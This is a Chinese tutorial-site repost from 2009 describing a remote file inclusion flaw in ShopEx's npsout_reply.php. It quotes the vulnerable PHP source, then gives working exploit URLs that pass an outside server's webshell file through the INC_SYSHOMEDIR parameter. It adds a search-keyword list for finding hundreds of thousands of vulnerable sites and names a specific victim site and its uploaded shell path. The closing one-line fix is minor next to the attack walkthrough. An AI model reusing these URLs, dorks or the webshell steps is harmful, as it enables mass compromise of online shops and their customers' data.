当前位置: 首页 > 图文教程 > 服务器 > 安全防护 > SHOPEX最新漏洞利用及解决方案

安全防护
2003服务器A级BT安全配置指南(12)
2003服务器A级BT安全配置指南(13)
修改用户控制权限管理自启动文件
IIS6.0下建立FTP“用户隔离”站点
SQL Server数据库安全规划全攻略(1)
从IIS到SQL Server数据库安全
匿名FTP的安全设定(1)
匿名FTP的安全设定(2)
SQL Server防范措施(2)
域名解析优化也会有麻烦
10个步骤保护IIS Web服务器安全
突破SQL错误提示上传webshell
判断Web数据库方式的一个小经验
sqlserver取得网站路径的几种方法以及比较(1)
sqlserver取得网站路径的几种方法以及比较(2)
阿江的WINDOWS服务器安全设置
RAdmin 服务端高级配置(2)
Win2000安全检查清单(1)
Win2000安全检查清单(2)
Win2000安全检查清单(3)

安全防护 中的 SHOPEX最新漏洞利用及解决方案


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-18   浏览: 74 ::
收藏到网摘: n/a

  漏洞平台:SHOPEX
  危害程度:★★★★☆

  关于ShopEx:

  ShopEx是网络购物软件与技术服务全面提供商,ShopEx做为国内购物软件的开拓者和实践者,提供了从购物软件(包括网上商店、网上商城、网上商店多店系统)到相关配套服务(网店推广、模板设计、流量监测、商业智能分析、网上支付、网店互联、购物系统定制开发等)以及深层次的电子商务技术服务。

  漏洞原理:

  看这里:/shop/npsout_reply.php

include_once($INC_SYSHOMEDIR."include/PayFunction.php");
//=========================== 把商家的相关信息返回去 =======================
//接收组件的加密
$OrderInfo = $_POST['OrderMessage']; //订单加密信息
$signMsg = $_POST['Digest']; //密匙
$m_id = $_POST['m_id'];
//=========================== 开始加密 ====================================
//检查签名
$shopPayment = newclass("shopPayment");
$key = $shopPayment->getKey($INC_SHOPID, $m_id, "NPS_OUT");
$digest = md5($OrderInfo.$key);
//var_dump($_POST);
if ($digest == $signMsg)
{
 //将HEX还原成字符
 $OrderInfo = HexToStr($OrderInfo);
 //DES解密
 $recovered_message = des($key, $OrderInfo, 0, 1, null);
 //echo "DES Test Decrypted: " . $recovered_message;
 $orderArray = split('[|]',$recovered_message);
 $m_id = $orderArray[0];
 $m_orderid = $orderArray[1];
 $m_oamount = $orderArray[2];
 $m_ocurrency = $orderArray[3];
 $m_url = $orderArray[4];
 // m_txcode = array[5];
 $m_language = $orderArray[5];
 $s_name = $orderArray[6];
 $s_addr = $orderArray[7];
 $s_postcode = $orderArray[8];
 $s_tel = $orderArray[9];
 $s_eml = $orderArray[10];
 $r_name = $orderArray[11];
 $r_addr = $orderArray[12];
 $r_postcode = $orderArray[13];
 $r_tel = $orderArray[14];
 $r_eml = $orderArray[15];
 $m_ocomment = $orderArray[16];
 $modate = $orderArray[17];
 $Status = $orderArray[18];
 if ($Status == 2)
 {
 $Order = newclass("Order");
 $Order->shopId = $INC_SHOPID;
 $Order->payid = $m_orderid;
 $arr_paytime = getUnixtime(); //支付时间
 $Order->onlinePayed($arr_paytime[0], $arr_paytime[1]);
 
 $tmp_orderno = $Order->getorderidbyPayid($Order->payid); //拿出商店订单号
 $state = 2 ;
 $strinfo = $PROG_TAGS["ptag_1334"];
 }
 else{
 $state = 1 ;
 $strinfo = $PROG_TAGS["ptag_1335"];
 }
}else{
 $state = 0 ;
 $strinfo = $PROG_TAGS["ptag_1336"];
}

Header("Location: ./index.php?gOo=pay_reply.dwt&orderid=".$tmp_orderno."&state=".$state."&strinfo=".urlencode($strinfo));
?>

  假设在 http://www.sagi.net.cn 根目录下有个include文件夹,里面有PayFunction.php文件(这是我们自己构造的,当然文件的内容可是小马也可是大马 呵呵)

  我们用如下方法就可以利用之http://www.xxxx.com/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn

  简单的说远程攻击者可以利用漏洞以WEB进程权限执行任意PHP命令。具体情节是'npsout_reply.php'脚本对用户提交的'npsout_root_path'参数缺少过滤指定远程服务器上的任意文件作为包含对象,可导致以WEB权限执行任意PHP代码

  漏洞实战:

构造URL:
http://www.xxxx.com/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?
注意:
[http://www.sagi.net.cn/php.txt?] 其实并没有在 http://www.sagi.net.cn 所在的服务器上执行而是在 "http://www.xxxx.com" 上执行的。

  简单的说.通过SHOPEX系统,我在中国的服务器上执行了美国服务器上的代码。而这个代码的主人是美国服务器。却在中国的服务器上被执行。

  所以我在中国的服务器上执行命令。美国的服务器就乖乖的执行任务。就这么简单。

  漏洞实验:

  关键词:产品目录 联系我们 关于我们 常见问题 安全交易 购买流程 如何付款

  可以找到40多万个用此系统的站.也就意味着40多万个站将被沦陷.

  在目标站后面加上:/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?

  就出现了远程执行php大马的画面。

  如:http://www.oicqshop.com/oicqshop/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?

  然后上传php大马,就可以了。

      访问:如:http://www.oicqshop.com/oicqshop/shop/bsthacker.php

  至于解决方案.官方未公布。

  可以删除shop目录下的npsout_reply.php文件。